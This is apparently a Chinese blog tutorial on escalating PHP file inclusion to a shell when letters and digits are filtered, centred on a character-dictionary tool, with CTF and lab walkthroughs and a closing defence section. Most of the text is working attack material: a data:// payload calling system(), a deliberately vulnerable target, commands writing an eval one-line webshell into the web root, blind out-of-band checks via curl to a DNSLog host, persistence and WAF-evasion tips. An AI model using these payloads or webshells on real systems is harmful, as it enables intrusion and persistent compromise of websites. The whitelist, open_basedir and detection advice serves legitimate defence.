在日常Web安全测试和CTF刷题里,文件包含(File Inclusion)大概是"看着简单、打通很难"的典型。很多初学者第一天就学会了用php://filter去读源码,觉得漏洞也不过如此;可真到了NSSCTF这类赛场上,遇到那种"允许include,但参数里不许出现字母数字"的题目,瞬间就不知道该怎么办。我刷题时反复看到一个工具名被提起——PHP_INCLUDE_TO_SHELL_CHAR_DICT。这篇文章不打算只讲命令怎么敲,而是从工具的名字拆起,把"文件包含到shell"这条链路的每一环都掰开揉碎:为什么需要字符字典、字符从哪来、工具做了哪些自动化决策、实际踩过哪些坑,最后再从防御视角看看怎么让这类工具彻底失效。
1. 文件包含到shell:这个工具到底解决什么问题
1.1 文件包含漏洞常见的利用路径
文件包含漏洞的根本成因,是开发者把外部可控的输入直接交给了include或require这类函数。在PHP里,文件包含的利用"载体"非常丰富,常规路径大家应该都熟悉:
php://filter读源码,经典中的经典。?file=php://filter/convert.base64-encode/resource=index.php,既能拿源码,又能绕掉直接输出时PHP报错带来的干扰。data://和php://input直接执行代码。只要allow_url_include开启,data://text/plain,<?php system($_GET['c']);?>就能让包含点变成命令执行点。- 日志包含、Session文件包含、
/proc/self/environ环境变量包含,这些是"伪协议被禁"时的备选路径。思路很简单:既然不能直接注入代码,就把恶意PHP写进日志、Session或环境变量文件,然后再用include把它解析执行。
这条链路看起来已经很完整了,但实际情况远没那么美好。我在复现很多题目时发现:漏洞本身大家都会找,真正的分水岭是——构造出来的payload能不能顺利落到include参数里。目标代码一旦对输入做了过滤,上面的常规打法基本全部失效。
1.2 真正卡住人的是"字符过滤"而非漏洞本身
先看一个典型的过滤场景。假设题目核心代码如下:
php复制<?php
$file = $_GET['file'];
$file = preg_replace('/[a-z0-9]/i', '', $file);
include($file);
?>
这个正则把所有字母和数字都替换成空字符串。意味着你提交的php://filter会直接变成php://fltr,关键字被拆得七零八落,伪协议全废。更狠的题目还会把.、/、_、$、(、)、;这些符号一并过滤。
走到这一步,你会意识到:文件包含点本身不难,难的是"在禁用字母数字的前提下,把system($_GET['c'])这句话拼出来"。这就要用到PHP的动态语法特性:字符串可以通过异或、取反、自增运算生成。比如利用某个已知字符,去异或一个固定因子,就能算出目标字母。但问题来了——你需要"已知字符"作为输入,也就是字符源。
这正是PHP_INCLUDE_TO_SHELL_CHAR_DICT要解决的核心问题。工具的思路不是凭空生成字符,而是先利用文件包含本身去"借"字符。响应里返回的PHP源码、系统文件内容、日志内容,通通都是免费的字符库。先收集,再拼接。从这个角度讲,它更像一个"字符资产管理工具",把爆破、拼接、编码这些重复劳动全部自动化了。
| 过滤对象 | 典型正则 | 影响 |
|---|---|---|
| 字母数字 | /[a-z0-9]/i |
伪协议关键字、函数名全部失效 |
| 引号 | /['"]/ |
字符串字面量失效 |
| 符号 | /[\$\;\&|]/ |
变量、语句分隔、管道操作失效 |
| 关键字 | `/system | exec |
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. PHP_INCLUDE_TO_SHELL_CHAR_DICT的核心设计思路
2.1 CHAR_DICT的名字拆解与定位
从名字可以看出,这个工具定位非常精准:专门服务于PHP环境下的文件包含漏洞,目标是把LFI变成RCE。它不负责挖洞,不负责扫描,只负责"字符层"的问题。为什么单独把字符层拎出来?因为这是手工利用时最耗时、最容错率最低的部分。
在有完整字母数字的情况下,system($_GET['c'])随手就能写。可一旦大小写和数字全被过滤,你只能用异或、取反、自增这类运算"无中生有"地构造变量名和函数名。手工做这件事是什么体验?你要准备一张ASCII对照表,算好每个目标字符对应的运算因子,再验证因子本身是不是又触发了过滤。字符一多,组合数直接爆炸,人脑根本算不过来。工具的价值,就是把这套计算流程固化成算法,把"从哪个文件借字符"也一并自动化。
2.2 字符字典如何破解"无字母数字"难题
"无字母数字webshell"的构造技巧在CTF圈子里是必经之路。它利用PHP的松散特性:变量名可以包含非字母字符,函数名在PHP 7以下不区分大小写且可以用字符串动态调用。但这些技巧都是空的——前提是你手里得有拼接用的字符。
字符字典的玩法是:先找一个"内容确定且大概率存在"的文件,通过文件包含把它读回来。比如/etc/passwd,这个文件几乎每个Linux环境都有,内容里包含了小写字母(root、bin、daemon这些用户名)、数字(UID)、冒号、斜杠、点号。再比如php://filter/convert.base64-encode/resource=index.php,读的是目标站点自己的源码,字母、数字、符号齐全度更高,还多出大写字母和=号。
工具会自动向目标发送包含请求,从响应体中提取字符并去重,生成一个"当前可用字符集合"。接下来,工具把你需要的目标函数名(比如system、assert、exec)和目标参数串逐一拆成字符,和字符集合做比对。如果缺字符,就尝试用异或运算来凑;还凑不齐,就提示你换字典源。这个过程和拼拼图很像:你先把拼图块从大堆里捡出来,再决定哪块能和哪块咬合。
提示:异或运算有个重要特性——
chr(ord(a) ^ ord(k))得到结果后,再用同一个因子k异或一次,就能还原出a。因此,只要字典里存在任何一个可用字符,工具都能通过找合适的k值来"造"出缺失的字母。这也是整个字典思路的数学基础。
2.3 工具整体工作流程解析
结合我自己的使用经验,工具完整流程大致分为五个阶段:
- 探测阶段:确认目标参数点、回显方式、PHP版本、过滤规则。工具会先发几个基础请求,看
php://filter能不能用、响应里有没有报错特征。 - 采集阶段:按照指定的字典源发送包含请求,抓取响应,提取全部可见字符,生成字符集合文件。这一步会自动对比"需要的字符"与"已有字符"。
- 构造阶段:根据目标payload(比如要调用
system函数、要拼出$_GET['c']),在字符集合约束下生成PHP表达式。表达式可能是多个变量异或、取反、拼接的组合,也可能用到动态函数调用特性。 - 校验阶段:把生成的payload发回目标,检测命令是否执行成功。这一步通常用一个无害命令(比如
echo一个随机字符串)来判断。 - 交互阶段:校验通过后,进入命令执行交互。你可以执行任意命令,或者写入一句话木马,然后把木马连到蚁剑上。
这个设计很符合实际:先确认可行性,再自动化生产,最后再手动收尾。它没有试图一步到位直接给shell,而是把最脏最累的"字符拼凑"环节打包掉了。
3. 实操环节:工具使用与关键参数解析
3.1 环境准备与依赖安装
先说我推荐的本地复现环境。性价比最高的组合是:
- PHP运行环境:Docker里的
php:7.4-apache,或者更省事的PHPStudy/小皮面板。热搜词里出现小皮面板和宝塔不是没道理——大家本地测PHP题目时经常用它们一键起服务。 - Python 3.8以上,安装
requests库。这类工具大多是Python写的,依赖非常少。 - 蚁剑或冰蝎,用于最后的Webshell连接。
在本地搭一个最小漏洞靶:
bash复制mkdir /tmp/inc_test && cd /tmp/inc_test
cat > index.php <<'EOF'
<?php
$f = $_GET['file'];
$f = preg_replace('/[a-z0-9]/i', '', $f);
include($f);
?>
EOF
docker run -d -p 8080:80 -v /tmp/inc_test:/var/www/html php:7.4-apache
这个靶就是典型的"字母数字过滤+文件包含"。浏览器访问http://127.0.0.1:8080/?file=php://filter/convert.base64-encode/resource=index.php,会发现伪协议关键字里的字母被削掉,请求直接报错。这正是我们要让工具发挥作用的场景。
3.2 场景一:标准CTF文件包含题
假设目标就是上面那个最小靶,工具的命令大致是这样(不同工具参数会有差异,但思路一致):
bash复制python3 include2shell.py -u "http://127.0.0.1:8080/?file=" -s /etc/passwd --probe
-s指定字典源,--probe表示先探测。工具会返回类似这样的信息:
text复制[+] 检测到过滤规则:字母数字被移除
[+] 从 /etc/passwd 提取到字符集:a-z, 0-9, /, :, ., -
[+] 目标函数 system 所需字符齐全
[+] 尝试构造 payload...
[+] 校验成功,已进入交互模式
进入交互模式后,先执行一条无害命令:
text复制shell> echo __INC_TEST__
__INC_TEST__
回显正常,说明从"文件包含"到"命令执行"的链路已经打通。接下来要做的事就很直接——把一句话木马写进Web目录:
text复制shell> echo '<?php @eval($_POST["x"]);?>' > /var/www/html/shell.php
然后打开蚁剑,填上URL和密码就能连接。整个过程里最难的那步——"在无字母数字条件下拼出system"——已经被工具在后台解决。
3.3 场景二:带封装过滤的授权测试环境
CTF题通常过滤规则比较直白,但授权渗透测试里还会遇到WAF,比如禁止提交php://filter、data://、system这些关键字。这时候工具的使用策略需要调整:
- 字典源不要直接用
/etc/passwd,因为它可能不在open_basedir允许路径内。换用目标自有文件,比如通过php://filter读取同目录下的某个源码文件,或者读取/tmp/下可控文件。 - 如果目标没有命令回显,工具需要结合延时或DNSLog做盲打验证。字符提取这一步会失败,因为你拿不到响应体;这种情况我会先用报错或延时判断回显位置,再考虑联合读取文件内容。
- 挂在代理流量后面。工具一般支持
--proxy参数,配合Burp或mitmproxy,你能看清楚每一步请求长什么样,方便绕过WAF。
更实用的一条经验是:在真实环境里,不要把目标放在"直接用工具一把梭"上。更好的做法是先用工具确认"字符集是否足够",再基于它的结果手工微调payload。这就像开车用自动挡,但关键时刻你得会换挡。
3.4 与蚁剑等Webshell管理工具的配合
工具本身不承载Webshell管理功能,它只负责"把门踹开"。门开了之后,管理还是得靠专业工具。我习惯的做法分三步:
第一步,先用工具执行一条phpinfo或id命令,确认当前用户和关键扩展。跳过这一步,很容易后面发现disable_functions禁用了eval,只能傻眼。
第二步,写入普通一句话木马,优先写到Web根目录或可写可解析的目录。如果写不进去,就考虑.user.ini或.htaccess配合,或者干脆不写文件,用命令执行环维持权限。
第三步,蚁剑连接。注意一句话木马里的密码最好用随机字符串,避免特征过于明显。连接后第一时间看disable_functions和open_basedir,这两项决定后续的利用方式。
4. 常见问题与排查技巧实录
4.1 字符字典源不全导致拼接失败
这是我最常遇到的问题。新手一开始指定/etc/passwd,信心满满,结果发现目标函数是assert,对应的a、s、e、r、t虽然都有,但缺了单引号和大写字母。拼来拼去就是凑不齐。
解决办法是换更丰富的字典源。我的优先级顺序是:
php://filter/convert.base64-encode/resource=index.php:源码里有完整的大小写字母、数字、+、/、=,基本通吃。/proc/self/environ:可以配合User-Agent头注入自定义内容,等于自造字典。- 日志文件:例如
/var/log/apache2/access.log,里面除了字母数字,还有空格、方括号、引号。
如果你手头有多个字典源,可以把多个响应合并去重,字符覆盖率会更高。
注意:遇到缺字符时别死磕单个字典源。工具如果支持多源输入,一次多给几个源,成功率会明显提升。
4.2 不同PHP版本下的兼容性问题
PHP 5.x和7.x在变量函数、字符串运算上差异很大。比如PHP 5里$f='system';$f($_GET['c']);这种方式很常见,但PHP 7里动态函数调用的限制更多;取反构造在PHP 7以后也经常因为语法变化失效。工具在探测时如果能识别PHP版本,就会生成对应该版本的payload。
如果你在手工测试,建议本地同时准备PHP 5.6和7.4两个环境,遇到题目先把源码拉到本地跑一遍,确认payload在当前版本能执行,再往目标上打。这个习惯能省下整整一个晚上。
4.3 响应过大和超时问题
当字典源是日志文件、源码大文件时,一次include的响应体可能几百KB甚至几MB。如果工具是纯同步请求,很容易超时,还会触达WAF的长度限制。
我的经验是:优先选小文件做字典源,或者用filter的read参数控制内容转换;工具层面如果有--limit-bytes这类参数,设成4096这样的小值,只取响应前几KB做字符统计就够了,没必要读全量。这个细节在打远程靶机时特别有用,很多靶机的带宽和响应时长都有限制,全量读取必挂。
4.4 命令无回显的盲打场景
有些包含点代码是include($f);但没有echo,意味着命令执行结果不会显示在页面里。这种情况字符提取阶段就是盲的。我的做法:
- 优先用延时判断:生成一个
system('sleep 5')的payload,看响应耗时是否明显增加。 - 用DNSLog外带:生成
system('curl dnslog地址')的payload,看有没有记录。 - 如果确认命令执行成功但拿不到内容,就利用
file_put_contents把结果写到Web目录,再通过第二个包含点读取。
这些操作工具不一定全部内置,但理解了原理,你可以在交互模式下手工补一句,效果一样。
| 问题现象 | 可能原因 | 解决方向 |
|---|---|---|
| 拼接失败 | 字符集覆盖不足 | 换字典源、多源合并 |
| 响应超时 | 字典源文件过大 | 限制读取字节数、换小文件 |
| 版本语法错误 | PHP版本特性差异 | 本地搭对应版本验证 |
| 无回显 | 代码无输出 | 延时、DNSLog、写文件读取 |
5. 防御视角:如何让这个工具失效
5.1 代码层的根本性修复
我一直跟开发朋友强调,防文件包含最稳的办法不是加黑名单,而是不要用用户输入直接拼文件路径。最推荐的白名单映射:
php复制$pages = [
'home' => 'home.php',
'about' => 'about.php',
'contact' => 'contact.php',
];
$page = $pages[$_GET['p']] ?? 'home.php';
include($page);
这样用户永远只能选home/about/contact三个key,路径完全在开发者掌控中。如果业务上确实要动态包含,至少要用realpath()校验最终路径在指定目录内,并且把目录限制在白名单里。
同时关掉危险配置:
ini复制allow_url_include = Off
allow_url_fopen = Off
这两个配置关掉后,data://、php://input这类直接代码执行的路径基本失效。但注意php://filter是本地流,不受allow_url_include控制,所以只调配置文件不够,还得配合下面的目录限制与过滤。
5.2 运行环境层面的限制
open_basedir是PHP层面的目录限制,设置后即使代码里写了include('/etc/passwd'),PHP也会拒绝打开。典型配置:
ini复制open_basedir = /var/www/html
日志和Session目录如果不在Web目录内,攻击者想通过日志打点就会失败。另外,上传目录要确保不能执行PHP:Nginx下用location ~ \.php$精确匹配再配合try_files,Apache下用php_admin_flag engine off关闭解析。这些措施组合起来,等于把"借字符"和"落地shell"两个环节全堵死。
5.3 检测与告警的落地建议
即便代码层没堵死,防守方也可以通过检测降低风险。我在做监控时重点看三类日志特征:
- include参数中出现了
php://、data://、expect://、zip://等伪协议关键字。 - URL参数中存在大量百分号编码的构造痕迹,尤其是二次编码和混合大小写。
- 响应内容中出现
eval(、assert(、system(等高危函数名,或者页面底部出现异常输出的PHP注释内容。
WAF侧可以对这些特征做实时拦截。不过要注意,工具生成的payload往往经过了异或或取反编码,直接特征匹配不一定命中,更靠谱的是基于行为检测:比如同一个IP对?file=参数在短时间内发起几十次不同字典源的请求,这种"字典式探测"行为本身就是很强的告警信号。
最后聊两句个人体会
我最早是在NSSCTF的PHP签到题里开始接触这类工具的。当时自己手算异或算了一个晚上,字符还是凑不齐。后来我反思了一下,问题不在于"异或运算不会",而在于思路顺序反了。正确顺序应该是:先通过包含把字符收集回来,看看手里有什么,再决定用什么函数、什么路径去拼。这个"先看牌再出牌"的思路,比任何具体payload模板都值钱。
工具能把收集字符和排列组合自动化,但它代替不了你判断当前环境的边界。比如open_basedir拦不拦、disable_functions禁了什么、目标有没有回显,这些还是得靠经验去摸。所以我建议所有刷题的朋友,别满足于"工具打成功了"的结果,务必把工具每次自动生成的payload打开看一看,弄懂它为什么这么拼接。等哪天工具失灵了,你剩下的技术底子还能帮你把题解开。
防御方同理:与其去记一堆漏洞特征,不如理解这条"借字符—拼代码—执行"的链路,然后在关键节点上做文章。把include参数变成白名单映射,把文件系统访问限制死,再在行为层盯住字典式探测。这套组合拳下来,绝大多数文件包含攻击都能被挡在门外。
